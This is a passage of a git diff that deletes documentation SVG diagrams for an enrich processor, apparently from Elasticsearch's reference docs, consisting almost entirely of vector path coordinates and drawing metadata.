364.777575,73.741615 C365.433825,73.741615 366.006742,73.835365 366.496325,74.022865 C366.985908,74.210365 367.345283,74.4655733 367.57445,74.78849 C367.814033,75.10099 367.9807,75.5280733 368.07445,76.06974 L366.69945,76.25724 C366.63695,75.8301567 366.454658,75.4968233 366.152575,75.25724 C365.850492,75.0176567 365.428617,74.897865 364.88695,74.897865 C364.241117,74.897865 363.777575,75.00724 363.496325,75.22599 C363.225492,75.4343233 363.090075,75.679115 363.090075,75.960365 C363.090075,76.147865 363.147367,76.3145317 363.26195,76.460365 C363.376533,76.6061983 363.553617,76.7311983 363.7932,76.835365 C363.939033,76.8874483 364.3557,77.00724 365.0432,77.19474 C366.032783,77.4551567 366.725492,77.6739067 367.121325,77.85099 C367.517158,78.0176567 367.82445,78.2624483 368.0432,78.585365 C368.272367,78.9082817 368.38695,79.3093233 368.38695,79.78849 C368.38695,80.25724 368.246325,80.6999483 367.965075,81.116615 C367.694242,81.522865 367.298408,81.8405733 366.777575,82.06974 C366.267158,82.2989067 365.689033,82.41349 365.0432,82.41349 C363.959867,82.41349 363.13695,82.1895317 362.57445,81.741615 C362.01195,81.2936983 361.652575,80.6270317 361.496325,79.741615 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M329.86353,120.973755 L329.86353,161.414705" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M329.86353,120.973755 L329.86353,149.414703" id="Path" stroke="#0097A7" stroke-width="2" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#0097A7" stroke-width="2" fill="#0097A7" points="326.56006 149.4147 329.863527 158.490887 333.166994 149.4147"></polygon>
-                <path d="M450.0971,259.13376 L360.49081,259.13376" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M450.0971,259.13376 L372.49081,259.13376" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#595959" stroke-width="2" fill="#595959" points="372.4908 255.83029 363.414598 259.133757 372.4908 262.437224"></polygon>
-                <path d="M329.86353,337.4777 L329.86353,368.249337" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M329.86353,337.4777 L329.86353,356.249337" id="Path" stroke="#3D99D7" stroke-width="2" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="2" fill="#3D99D7" points="326.56006 356.24936 329.863527 365.325532 333.166994 356.24936"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ingest/enrich/enrich-processor.svg b/docs/reference/images/ingest/enrich/enrich-processor.svg
deleted file mode 100644
index 95978c6026b..00000000000
--- a/docs/reference/images/ingest/enrich/enrich-processor.svg
+++ /dev/null
@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="562px" height="178px" viewBox="0 0 562 178" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 53.2 (72643) - https://sketchapp.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 540 0 540"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="Enrich-process" transform="translate(-252.000000, -161.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill="#FFFFFF" points="0 0 960 0 960 540 0 540"></polygon>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="252.021 161.40158 407.70603 161.40158 407.70603 187.70079 252.021 187.70079"></polygon>
-                <path d="M279.7776,175.91783 L279.7776,174.308455 L281.18385,174.308455 L281.18385,175.91783 L279.7776,175.91783 Z M279.7776,185.76158 L279.7776,177.464705 L281.18385,177.464705 L281.18385,185.76158 L279.7776,185.76158 Z M283.332288,185.76158 L283.332288,177.464705 L284.597913,177.464705 L284.597913,178.63658 C285.202079,177.73033 286.082288,177.277205 287.238538,177.277205 C287.738538,177.277205 288.196871,177.365747 288.613538,177.54283 C289.030204,177.719913 289.342704,177.954288 289.551038,178.245955 C289.759371,178.537622 289.905204,178.88658 289.988538,179.29283 C290.040621,179.553247 290.066663,180.006372 290.066663,180.652205 L290.066663,185.76158 L288.660413,185.76158 L288.660413,180.714705 C288.660413,180.141788 288.603121,179.714705 288.488538,179.433455 C288.384371,179.141788 288.191663,178.912622 287.910413,178.745955 C287.639579,178.579288 287.316663,178.495955 286.941663,178.495955 C286.337496,178.495955 285.816663,178.688663 285.379163,179.07408 C284.952079,179.44908 284.738538,180.16783 284.738538,181.23033 L284.738538,185.76158 L283.332288,185.76158 Z M291.9651,186.44908 L293.3401,186.652205 C293.392183,187.079288 293.548433,187.38658 293.80885,187.57408 C294.163017,187.834497 294.642183,187.964705 295.24635,187.964705 C295.892183,187.964705 296.392183,187.834497 296.74635,187.57408 C297.100517,187.313663 297.3401,186.94908 297.4651,186.48033 C297.538017,186.19908 297.574475,185.594913 297.574475,184.66783 C296.959892,185.396997 296.194267,185.76158 295.2776,185.76158 C294.131767,185.76158 293.24635,185.350122 292.62135,184.527205 C291.99635,183.704288 291.68385,182.714705 291.68385,181.558455 C291.68385,180.766788 291.824475,180.037622 292.105725,179.370955 C292.397392,178.704288 292.814058,178.188663 293.355725,177.82408 C293.907808,177.459497 294.548433,177.277205 295.2776,177.277205 C296.256767,177.277205 297.064058,177.673038 297.699475,178.464705 L297.699475,177.464705 L298.99635,177.464705 L298.99635,184.63658 C298.99635,185.928247 298.866142,186.844913 298.605725,187.38658 C298.345308,187.928247 297.928642,188.35533 297.355725,188.66783 C296.782808,188.98033 296.079683,189.13658 295.24635,189.13658 C294.256767,189.13658 293.454683,188.912622 292.8401,188.464705 C292.235933,188.016788 291.944267,187.344913 291.9651,186.44908 Z M293.136975,181.464705 C293.136975,182.548038 293.350517,183.339705 293.7776,183.839705 C294.2151,184.339705 294.756767,184.589705 295.4026,184.589705 C296.048433,184.589705 296.5901,184.344913 297.0276,183.85533 C297.4651,183.35533 297.68385,182.57408 297.68385,181.51158 C297.68385,180.490747 297.459892,179.725122 297.011975,179.214705 C296.564058,178.693872 296.022392,178.433455 295.386975,178.433455 C294.761975,178.433455 294.230725,178.688663 293.793225,179.19908 C293.355725,179.709497 293.136975,180.464705 293.136975,181.464705 Z M306.801038,183.089705 L308.254163,183.26158 C308.024996,184.115747 307.597913,184.777205 306.972913,185.245955 C306.358329,185.714705 305.571871,185.94908 304.613538,185.94908 C303.394788,185.94908 302.431246,185.57408 301.722913,184.82408 C301.014579,184.07408 300.660413,183.027205 300.660413,181.683455 C300.660413,180.287622 301.019788,179.204288 301.738538,178.433455 C302.457288,177.662622 303.389579,177.277205 304.535413,177.277205 C305.639579,177.277205 306.540621,177.657413 307.238538,178.41783 C307.946871,179.16783 308.301038,180.225122 308.301038,181.589705 C308.301038,181.673038 308.301038,181.798038 308.301038,181.964705 L302.113538,181.964705 C302.165621,182.881372 302.420829,183.584497 302.879163,184.07408 C303.347913,184.553247 303.926038,184.79283 304.613538,184.79283 C305.134371,184.79283 305.577079,184.657413 305.941663,184.38658 C306.306246,184.115747 306.592704,183.683455 306.801038,183.089705 Z M302.191663,180.808455 L306.816663,180.808455 C306.754163,180.110538 306.577079,179.589705 306.285413,179.245955 C305.837496,178.704288 305.259371,178.433455 304.551038,178.433455 C303.905204,178.433455 303.358329,178.652205 302.910413,179.089705 C302.472913,179.516788 302.233329,180.089705 302.191663,180.808455 Z M309.4651,183.277205 L310.855725,183.058455 C310.928642,183.620955 311.142183,184.053247 311.49635,184.35533 C311.860933,184.646997 312.360933,184.79283 312.99635,184.79283 C313.642183,184.79283 314.12135,184.662622 314.43385,184.402205 C314.74635,184.131372 314.9026,183.818872 314.9026,183.464705 C314.9026,183.152205 314.767183,182.902205 314.49635,182.714705 C314.298433,182.589705 313.819267,182.433455 313.05885,182.245955 C312.0276,181.985538 311.30885,181.76158 310.9026,181.57408 C310.506767,181.376163 310.204683,181.110538 309.99635,180.777205 C309.798433,180.443872 309.699475,180.07408 309.699475,179.66783 C309.699475,179.29283 309.782808,178.94908 309.949475,178.63658 C310.116142,178.32408 310.345308,178.063663 310.636975,177.85533 C310.855725,177.688663 311.1526,177.553247 311.5276,177.44908 C311.913017,177.334497 312.319267,177.277205 312.74635,177.277205 C313.4026,177.277205 313.975517,177.370955 314.4651,177.558455 C314.954683,177.745955 315.314058,178.001163 315.543225,178.32408 C315.782808,178.63658 315.949475,179.063663 316.043225,179.60533 L314.668225,179.79283 C314.605725,179.365747 314.423433,179.032413 314.12135,178.79283 C313.819267,178.553247 313.397392,178.433455 312.855725,178.433455 C312.209892,178.433455 311.74635,178.54283 311.4651,178.76158 C311.194267,178.969913 311.05885,179.214705 311.05885,179.495955 C311.05885,179.683455 311.116142,179.850122 311.230725,179.995955 C311.345308,180.141788 311.522392,180.266788 311.761975,180.370955 C311.907808,180.423038 312.324475,180.54283 313.011975,180.73033 C314.001558,180.990747 314.694267,181.209497 315.0901,181.38658 C315.485933,181.553247 315.793225,181.798038 316.011975,182.120955 C316.241142,182.443872 316.355725,182.844913 316.355725,183.32408 C316.355725,183.79283 316.2151,184.235538 315.93385,184.652205 C315.663017,185.058455 315.267183,185.376163 314.74635,185.60533 C314.235933,185.834497 313.657808,185.94908 313.011975,185.94908 C311.928642,185.94908 311.105725,185.725122 310.543225,185.277205 C309.980725,184.829288 309.62135,184.162622 309.4651,183.277205 Z M321.0901,184.495955 L321.293225,185.745955 C320.897392,185.829288 320.543225,185.870955 320.230725,185.870955 C319.720308,185.870955 319.324475,185.79283 319.043225,185.63658 C318.761975,185.469913 318.564058,185.256372 318.449475,184.995955 C318.334892,184.725122 318.2776,184.16783 318.2776,183.32408 L318.2776,178.558455 L317.24635,178.558455 L317.24635,177.464705 L318.2776,177.464705 L318.2776,175.402205 L319.68385,174.558455 L319.68385,177.464705 L321.0901,177.464705 L321.0901,178.558455 L319.68385,178.558455 L319.68385,183.402205 C319.68385,183.808455 319.704683,184.068872 319.74635,184.183455 C319.798433,184.298038 319.881767,184.391788 319.99635,184.464705 C320.110933,184.527205 320.272392,184.558455 320.480725,184.558455 C320.636975,184.558455 320.8401,184.537622 321.0901,184.495955 Z M326.918225,188.94908 L326.918225,177.464705 L328.199475,177.464705 L328.199475,178.54283 C328.501558,178.115747 328.8401,177.798038 329.2151,177.589705 C329.600517,177.381372 330.064058,177.277205 330.605725,177.277205 C331.314058,177.277205 331.939058,177.459497 332.480725,177.82408 C333.022392,178.188663 333.428642,178.704288 333.699475,179.370955 C333.980725,180.027205 334.12135,180.751163 334.12135,181.54283 C334.12135,182.396997 333.9651,183.162622 333.6526,183.839705 C333.350517,184.516788 332.907808,185.037622 332.324475,185.402205 C331.751558,185.766788 331.142183,185.94908 330.49635,185.94908 C330.0276,185.94908 329.605725,185.850122 329.230725,185.652205 C328.866142,185.454288 328.564058,185.204288 328.324475,184.902205 L328.324475,188.94908 L326.918225,188.94908 Z M328.18385,181.652205 C328.18385,182.725122 328.397392,183.516788 328.824475,184.027205 C329.261975,184.537622 329.788017,184.79283 330.4026,184.79283 C331.0276,184.79283 331.564058,184.527205 332.011975,183.995955 C332.459892,183.464705 332.68385,182.646997 332.68385,181.54283 C332.68385,180.48033 332.4651,179.688663 332.0276,179.16783 C331.5901,178.63658 331.069267,178.370955 330.4651,178.370955 C329.87135,178.370955 329.3401,178.652205 328.87135,179.214705 C328.413017,179.777205 328.18385,180.589705 328.18385,181.652205 Z M335.816663,175.91783 L335.816663,174.308455 L337.222913,174.308455 L337.222913,175.91783 L335.816663,175.91783 Z M335.816663,185.76158 L335.816663,177.464705 L337.222913,177.464705 L337.222913,185.76158 L335.816663,185.76158 Z M339.37135,188.94908 L339.37135,177.464705 L340.6526,177.464705 L340.6526,178.54283 C340.954683,178.115747 341.293225,177.798038 341.668225,177.589705 C342.053642,177.381372 342.517183,177.277205 343.05885,177.277205 C343.767183,177.277205 344.392183,177.459497 344.93385,177.82408 C345.475517,178.188663 345.881767,178.704288 346.1526,179.370955 C346.43385,180.027205 346.574475,180.751163 346.574475,181.54283 C346.574475,182.396997 346.418225,183.162622 346.105725,183.839705 C345.803642,184.516788 345.360933,185.037622 344.7776,185.402205 C344.204683,185.766788 343.595308,185.94908 342.949475,185.94908 C342.480725,185.94908 342.05885,185.850122 341.68385,185.652205 C341.319267,185.454288 341.017183,185.204288 340.7776,184.902205 L340.7776,188.94908 L339.37135,188.94908 Z M340.636975,181.652205 C340.636975,182.725122 340.850517,183.516788 341.2776,184.027205 C341.7151,184.537622 342.241142,184.79283 342.855725,184.79283 C343.480725,184.79283 344.017183,184.527205 344.4651,183.995955 C344.913017,183.464705 345.136975,182.646997 345.136975,181.54283 C345.136975,180.48033 344.918225,179.688663 344.480725,179.16783 C344.043225,178.63658 343.522392,178.370955 342.918225,178.370955 C342.324475,178.370955 341.793225,178.652205 341.324475,179.214705 C340.866142,179.777205 340.636975,180.589705 340.636975,181.652205 Z M353.941663,183.089705 L355.394788,183.26158 C355.165621,184.115747 354.738538,184.777205 354.113538,185.245955 C353.498954,185.714705 352.712496,185.94908 351.754163,185.94908 C350.535413,185.94908 349.571871,185.57408 348.863538,184.82408 C348.155204,184.07408 347.801038,183.027205 347.801038,181.683455 C347.801038,180.287622 348.160413,179.204288 348.879163,178.433455 C349.597913,177.662622 350.530204,177.277205 351.676038,177.277205 C352.780204,177.277205 353.681246,177.657413 354.379163,178.41783 C355.087496,179.16783 355.441663,180.225122 355.441663,181.589705 C355.441663,181.673038 355.441663,181.798038 355.441663,181.964705 L349.254163,181.964705 C349.306246,182.881372 349.561454,183.584497 350.019788,184.07408 C350.488538,184.553247 351.066663,184.79283 351.754163,184.79283 C352.274996,184.79283 352.717704,184.657413 353.082288,184.38658 C353.446871,184.115747 353.733329,183.683455 353.941663,183.089705 Z M349.332288,180.808455 L353.957288,180.808455 C353.894788,180.110538 353.717704,179.589705 353.426038,179.245955 C352.978121,178.704288 352.399996,178.433455 351.691663,178.433455 C351.045829,178.433455 350.498954,178.652205 350.051038,179.089705 C349.613538,179.516788 349.373954,180.089705 349.332288,180.808455 Z M357.136975,185.76158 L357.136975,174.308455 L358.543225,174.308455 L358.543225,185.76158 L357.136975,185.76158 Z M360.722913,175.91783 L360.722913,174.308455 L362.129163,174.308455 L362.129163,175.91783 L360.722913,175.91783 Z M360.722913,185.76158 L360.722913,177.464705 L362.129163,177.464705 L362.129163,185.76158 L360.722913,185.76158 Z M364.2776,185.76158 L364.2776,177.464705 L365.543225,177.464705 L365.543225,178.63658 C366.147392,177.73033 367.0276,177.277205 368.18385,177.277205 C368.68385,177.277205 369.142183,177.365747 369.55885,177.54283 C369.975517,177.719913 370.288017,177.954288 370.49635,178.245955 C370.704683,178.537622 370.850517,178.88658 370.93385,179.29283 C370.985933,179.553247 371.011975,180.006372 371.011975,180.652205 L371.011975,185.76158 L369.605725,185.76158 L369.605725,180.714705 C369.605725,180.141788 369.548433,179.714705 369.43385,179.433455 C369.329683,179.141788 369.136975,178.912622 368.855725,178.745955 C368.584892,178.579288 368.261975,178.495955 367.886975,178.495955 C367.282808,178.495955 366.761975,178.688663 366.324475,179.07408 C365.897392,179.44908 365.68385,180.16783 365.68385,181.23033 L365.68385,185.76158 L364.2776,185.76158 Z M378.847913,183.089705 L380.301038,183.26158 C380.071871,184.115747 379.644788,184.777205 379.019788,185.245955 C378.405204,185.714705 377.618746,185.94908 376.660413,185.94908 C375.441663,185.94908 374.478121,185.57408 373.769788,184.82408 C373.061454,184.07408 372.707288,183.027205 372.707288,181.683455 C372.707288,180.287622 373.066663,179.204288 373.785413,178.433455 C374.504163,177.662622 375.436454,177.277205 376.582288,177.277205 C377.686454,177.277205 378.587496,177.657413 379.285413,178.41783 C379.993746,179.16783 380.347913,180.225122 380.347913,181.589705 C380.347913,181.673038 380.347913,181.798038 380.347913,181.964705 L374.160413,181.964705 C374.212496,182.881372 374.467704,183.584497 374.926038,184.07408 C375.394788,184.553247 375.972913,184.79283 376.660413,184.79283 C377.181246,184.79283 377.623954,184.657413 377.988538,184.38658 C378.353121,184.115747 378.639579,183.683455 378.847913,183.089705 Z M374.238538,180.808455 L378.863538,180.808455 C378.801038,180.110538 378.623954,179.589705 378.332288,179.245955 C377.884371,178.704288 377.306246,178.433455 376.597913,178.433455 C375.952079,178.433455 375.405204,178.652205 374.957288,179.089705 C374.519788,179.516788 374.280204,180.089705 374.238538,180.808455 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M727.9239,188.19537 L727.9239,188.19537 C727.9239,183.403012 731.808849,179.518032 736.601207,179.518032 L805.136302,179.518032 C807.437694,179.518032 809.644786,180.432247 811.272105,182.059566 C812.899424,183.686886 813.81367,185.893993 813.81367,188.195369 L813.81367,222.903682 C813.81367,227.696041 809.92866,231.58102 805.136302,231.58102 L736.601207,231.58102 C731.808849,231.58102 727.9239,227.696041 727.9239,222.903682 L727.9239,188.19537 Z" id="Path" fill="#F04E98"></path>
-                <path d="M747.35706,199.42516 L748.747685,199.20641 C748.820602,199.76891 749.034143,200.201202 749.38831,200.503285 C749.752893,200.794952 750.252893,200.940785 750.88831,200.940785 C751.534143,200.940785 752.01331,200.810577 752.32581,200.55016 C752.63831,200.279327 752.79456,199.966827 752.79456,199.61266 C752.79456,199.30016 752.659143,199.05016 752.38831,198.86266 C752.190393,198.73766 751.711227,198.58141 750.95081,198.39391 C749.91956,198.133493 749.20081,197.909535 748.79456,197.722035 C748.398727,197.524118 748.096643,197.258493 747.88831,196.92516 C747.690393,196.591827 747.591435,196.222035 747.591435,195.815785 C747.591435,195.440785 747.674768,195.097035 747.841435,194.784535 C748.008102,194.472035 748.237268,194.211618 748.528935,194.003285 C748.747685,193.836618 749.04456,193.701202 749.41956,193.597035 C749.804977,193.482452 750.211227,193.42516 750.63831,193.42516 C751.29456,193.42516 751.867477,193.51891 752.35706,193.70641 C752.846643,193.89391 753.206018,194.149118 753.435185,194.472035 C753.674768,194.784535 753.841435,195.211618 753.935185,195.753285 L752.560185,195.940785 C752.497685,195.513702 752.315393,195.180368 752.01331,194.940785 C751.711227,194.701202 751.289352,194.58141 750.747685,194.58141 C750.101852,194.58141 749.63831,194.690785 749.35706,194.909535 C749.086227,195.117868 748.95081,195.36266 748.95081,195.64391 C748.95081,195.83141 749.008102,195.998077 749.122685,196.14391 C749.237268,196.289743 749.414352,196.414743 749.653935,196.51891 C749.799768,196.570993 750.216435,196.690785 750.903935,196.878285 C751.893518,197.138702 752.586227,197.357452 752.98206,197.534535 C753.377893,197.701202 753.685185,197.945993 753.903935,198.26891 C754.133102,198.591827 754.247685,198.992868 754.247685,199.472035 C754.247685,199.940785 754.10706,200.383493 753.82581,200.80016 C753.554977,201.20641 753.159143,201.524118 752.63831,201.753285 C752.127893,201.982452 751.549768,202.097035 750.903935,202.097035 C749.820602,202.097035 748.997685,201.873077 748.435185,201.42516 C747.872685,200.977243 747.51331,200.310577 747.35706,199.42516 Z M755.38831,197.753285 C755.38831,196.222035 755.815393,195.086618 756.66956,194.347035 C757.38831,193.732452 758.258102,193.42516 759.278935,193.42516 C760.424768,193.42516 761.35706,193.80016 762.07581,194.55016 C762.804977,195.289743 763.16956,196.320993 763.16956,197.64391 C763.16956,198.70641 763.008102,199.544952 762.685185,200.159535 C762.362268,200.774118 761.893518,201.253285 761.278935,201.597035 C760.674768,201.930368 760.008102,202.097035 759.278935,202.097035 C758.122685,202.097035 757.185185,201.727243 756.466435,200.98766 C755.747685,200.23766 755.38831,199.159535 755.38831,197.753285 Z M756.841435,197.753285 C756.841435,198.815785 757.070602,199.61266 757.528935,200.14391 C757.997685,200.67516 758.581018,200.940785 759.278935,200.940785 C759.976852,200.940785 760.554977,200.67516 761.01331,200.14391 C761.48206,199.61266 761.716435,198.80016 761.716435,197.70641 C761.716435,196.685577 761.48206,195.909535 761.01331,195.378285 C760.554977,194.847035 759.976852,194.58141 759.278935,194.58141 C758.581018,194.58141 757.997685,194.847035 757.528935,195.378285 C757.070602,195.899118 756.841435,196.690785 756.841435,197.753285 Z M770.255498,201.909535 L770.255498,200.690785 C769.609664,201.628285 768.729456,202.097035 767.614873,202.097035 C767.125289,202.097035 766.666956,202.003285 766.239873,201.815785 C765.823206,201.628285 765.510706,201.39391 765.302373,201.11266 C765.094039,200.820993 764.948206,200.472035 764.864873,200.065785 C764.812789,199.784535 764.786748,199.347035 764.786748,198.753285 L764.786748,193.61266 L766.192998,193.61266 L766.192998,198.20641 C766.192998,198.945993 766.219039,199.440785 766.271123,199.690785 C766.364873,200.065785 766.552373,200.357452 766.833623,200.565785 C767.125289,200.774118 767.479456,200.878285 767.896123,200.878285 C768.323206,200.878285 768.719039,200.774118 769.083623,200.565785 C769.458623,200.347035 769.719039,200.05016 769.864873,199.67516 C770.021123,199.30016 770.099248,198.758493 770.099248,198.05016 L770.099248,193.61266 L771.505498,193.61266 L771.505498,201.909535 L770.255498,201.909535 Z M773.70081,201.909535 L773.70081,193.61266 L774.966435,193.61266 L774.966435,194.86266 C775.289352,194.279327 775.586227,193.89391 775.85706,193.70641 C776.127893,193.51891 776.429977,193.42516 776.76331,193.42516 C777.23206,193.42516 777.711227,193.576202 778.20081,193.878285 L777.716435,195.17516 C777.372685,194.977243 777.028935,194.878285 776.685185,194.878285 C776.383102,194.878285 776.10706,194.972035 775.85706,195.159535 C775.617477,195.336618 775.445602,195.591827 775.341435,195.92516 C775.185185,196.42516 775.10706,196.972035 775.10706,197.565785 L775.10706,201.909535 L773.70081,201.909535 Z M784.45081,198.86266 L785.841435,199.05016 C785.685185,199.998077 785.29456,200.742868 784.66956,201.284535 C784.054977,201.826202 783.29456,202.097035 782.38831,202.097035 C781.252893,202.097035 780.336227,201.727243 779.63831,200.98766 C778.95081,200.23766 778.60706,199.169952 778.60706,197.784535 C778.60706,196.888702 778.752893,196.107452 779.04456,195.440785 C779.346643,194.763702 779.799768,194.258493 780.403935,193.92516 C781.018518,193.591827 781.679977,193.42516 782.38831,193.42516 C783.29456,193.42516 784.034143,193.654327 784.60706,194.11266 C785.179977,194.560577 785.54456,195.20641 785.70081,196.05016 L784.341435,196.253285 C784.206018,195.701202 783.971643,195.284535 783.63831,195.003285 C783.315393,194.722035 782.91956,194.58141 782.45081,194.58141 C781.742477,194.58141 781.164352,194.836618 780.716435,195.347035 C780.278935,195.847035 780.060185,196.649118 780.060185,197.753285 C780.060185,198.867868 780.273727,199.680368 780.70081,200.190785 C781.127893,200.690785 781.685185,200.940785 782.372685,200.940785 C782.924768,200.940785 783.383102,200.774118 783.747685,200.440785 C784.122685,200.097035 784.35706,199.570993 784.45081,198.86266 Z M792.716435,199.23766 L794.16956,199.409535 C793.940393,200.263702 793.51331,200.92516 792.88831,201.39391 C792.273727,201.86266 791.487268,202.097035 790.528935,202.097035 C789.310185,202.097035 788.346643,201.722035 787.63831,200.972035 C786.929977,200.222035 786.57581,199.17516 786.57581,197.83141 C786.57581,196.435577 786.935185,195.352243 787.653935,194.58141 C788.372685,193.810577 789.304977,193.42516 790.45081,193.42516 C791.554977,193.42516 792.456018,193.805368 793.153935,194.565785 C793.862268,195.315785 794.216435,196.373077 794.216435,197.73766 C794.216435,197.820993 794.216435,197.945993 794.216435,198.11266 L788.028935,198.11266 C788.081018,199.029327 788.336227,199.732452 788.79456,200.222035 C789.26331,200.701202 789.841435,200.940785 790.528935,200.940785 C791.049768,200.940785 791.492477,200.805368 791.85706,200.534535 C792.221643,200.263702 792.508102,199.83141 792.716435,199.23766 Z M788.10706,196.95641 L792.73206,196.95641 C792.66956,196.258493 792.492477,195.73766 792.20081,195.39391 C791.752893,194.852243 791.174768,194.58141 790.466435,194.58141 C789.820602,194.58141 789.273727,194.80016 788.82581,195.23766 C788.38831,195.664743 788.148727,196.23766 788.10706,196.95641 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M752.8063,211.06578 L752.8063,209.456405 L754.21255,209.456405 L754.21255,211.06578 L752.8063,211.06578 Z M752.8063,220.90953 L752.8063,212.612655 L754.21255,212.612655 L754.21255,220.90953 L752.8063,220.90953 Z M756.360987,220.90953 L756.360987,212.612655 L757.626612,212.612655 L757.626612,213.78453 C758.230779,212.87828 759.110987,212.425155 760.267237,212.425155 C760.767237,212.425155 761.225571,212.513697 761.642237,212.69078 C762.058904,212.867863 762.371404,213.102238 762.579737,213.393905 C762.788071,213.685572 762.933904,214.03453 763.017237,214.44078 C763.069321,214.701197 763.095362,215.154322 763.095362,215.800155 L763.095362,220.90953 L761.689112,220.90953 L761.689112,215.862655 C761.689112,215.289738 761.631821,214.862655 761.517237,214.581405 C761.413071,214.289738 761.220362,214.060572 760.939112,213.893905 C760.668279,213.727238 760.345362,213.643905 759.970362,213.643905 C759.366196,213.643905 758.845362,213.836613 758.407862,214.22203 C757.980779,214.59703 757.767237,215.31578 757.767237,216.37828 L757.767237,220.90953 L756.360987,220.90953 Z M770.634425,220.90953 L770.634425,219.862655 C770.113592,220.685572 769.342758,221.09703 768.321925,221.09703 C767.655258,221.09703 767.045883,220.914738 766.4938,220.550155 C765.941717,220.185572 765.509425,219.675155 765.196925,219.018905 C764.894842,218.362655 764.7438,217.612655 764.7438,216.768905 C764.7438,215.935572 764.879217,215.185572 765.15005,214.518905 C765.4313,213.841822 765.847967,213.326197 766.40005,212.97203 C766.952133,212.607447 767.571925,212.425155 768.259425,212.425155 C768.759425,212.425155 769.202133,212.529322 769.58755,212.737655 C769.983383,212.945988 770.301092,213.22203 770.540675,213.56578 L770.540675,209.456405 L771.946925,209.456405 L771.946925,220.90953 L770.634425,220.90953 Z M766.196925,216.768905 C766.196925,217.831405 766.420883,218.62828 766.8688,219.15953 C767.316717,219.680363 767.842758,219.94078 768.446925,219.94078 C769.061508,219.94078 769.582342,219.69078 770.009425,219.19078 C770.446925,218.680363 770.665675,217.90953 770.665675,216.87828 C770.665675,215.742863 770.446925,214.90953 770.009425,214.37828 C769.571925,213.84703 769.030258,213.581405 768.384425,213.581405 C767.759425,213.581405 767.238592,213.836613 766.821925,214.34703 C766.405258,214.857447 766.196925,215.664738 766.196925,216.768905 Z M779.829737,218.237655 L781.282862,218.40953 C781.053696,219.263697 780.626612,219.925155 780.001612,220.393905 C779.387029,220.862655 778.600571,221.09703 777.642237,221.09703 C776.423487,221.09703 775.459946,220.72203 774.751612,219.97203 C774.043279,219.22203 773.689112,218.175155 773.689112,216.831405 C773.689112,215.435572 774.048487,214.352238 774.767237,213.581405 C775.485987,212.810572 776.418279,212.425155 777.564112,212.425155 C778.668279,212.425155 779.569321,212.805363 780.267237,213.56578 C780.975571,214.31578 781.329737,215.373072 781.329737,216.737655 C781.329737,216.820988 781.329737,216.945988 781.329737,217.112655 L775.142237,217.112655 C775.194321,218.029322 775.449529,218.732447 775.907862,219.22203 C776.376612,219.701197 776.954737,219.94078 777.642237,219.94078 C778.163071,219.94078 778.605779,219.805363 778.970362,219.53453 C779.334946,219.263697 779.621404,218.831405 779.829737,218.237655 Z M775.220362,215.956405 L779.845362,215.956405 C779.782862,215.258488 779.605779,214.737655 779.314112,214.393905 C778.866196,213.852238 778.288071,213.581405 777.579737,213.581405 C776.933904,213.581405 776.387029,213.800155 775.939112,214.237655 C775.501612,214.664738 775.262029,215.237655 775.220362,215.956405 Z M782.1188,220.90953 L785.15005,216.59703 L782.33755,212.612655 L784.103175,212.612655 L785.3688,214.550155 C785.608383,214.925155 785.801092,215.237655 785.946925,215.487655 C786.176092,215.143905 786.389633,214.836613 786.58755,214.56578 L787.978175,212.612655 L789.665675,212.612655 L786.790675,216.518905 L789.884425,220.90953 L788.15005,220.90953 L786.446925,218.331405 L785.9938,217.62828 L783.821925,220.90953 L782.1188,220.90953 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M727.9239,281.62582 L727.9239,281.62582 C727.9239,276.833462 731.808849,272.948482 736.601207,272.948482 L805.136302,272.948482 C807.437694,272.948482 809.644786,273.862697 811.272105,275.490016 C812.899424,277.117336 813.81367,279.324428 813.81367,281.625819 L813.81367,316.334132 C813.81367,321.126491 809.92866,325.01147 805.136302,325.01147 L736.601207,325.01147 C731.808849,325.01147 727.9239,321.126491 727.9239,316.334132 L727.9239,281.62582 Z" id="Path" fill="#F04E98"></path>
-                <path d="M747.35706,292.8556 L748.747685,292.63685 C748.820602,293.19935 749.034143,293.631642 749.38831,293.933725 C749.752893,294.225392 750.252893,294.371225 750.88831,294.371225 C751.534143,294.371225 752.01331,294.241017 752.32581,293.9806 C752.63831,293.709767 752.79456,293.397267 752.79456,293.0431 C752.79456,292.7306 752.659143,292.4806 752.38831,292.2931 C752.190393,292.1681 751.711227,292.01185 750.95081,291.82435 C749.91956,291.563933 749.20081,291.339975 748.79456,291.152475 C748.398727,290.954558 748.096643,290.688933 747.88831,290.3556 C747.690393,290.022267 747.591435,289.652475 747.591435,289.246225 C747.591435,288.871225 747.674768,288.527475 747.841435,288.214975 C748.008102,287.902475 748.237268,287.642058 748.528935,287.433725 C748.747685,287.267058 749.04456,287.131642 749.41956,287.027475 C749.804977,286.912892 750.211227,286.8556 750.63831,286.8556 C751.29456,286.8556 751.867477,286.94935 752.35706,287.13685 C752.846643,287.32435 753.206018,287.579558 753.435185,287.902475 C753.674768,288.214975 753.841435,288.642058 753.935185,289.183725 L752.560185,289.371225 C752.497685,288.944142 752.315393,288.610808 752.01331,288.371225 C751.711227,288.131642 751.289352,288.01185 750.747685,288.01185 C750.101852,288.01185 749.63831,288.121225 749.35706,288.339975 C749.086227,288.548308 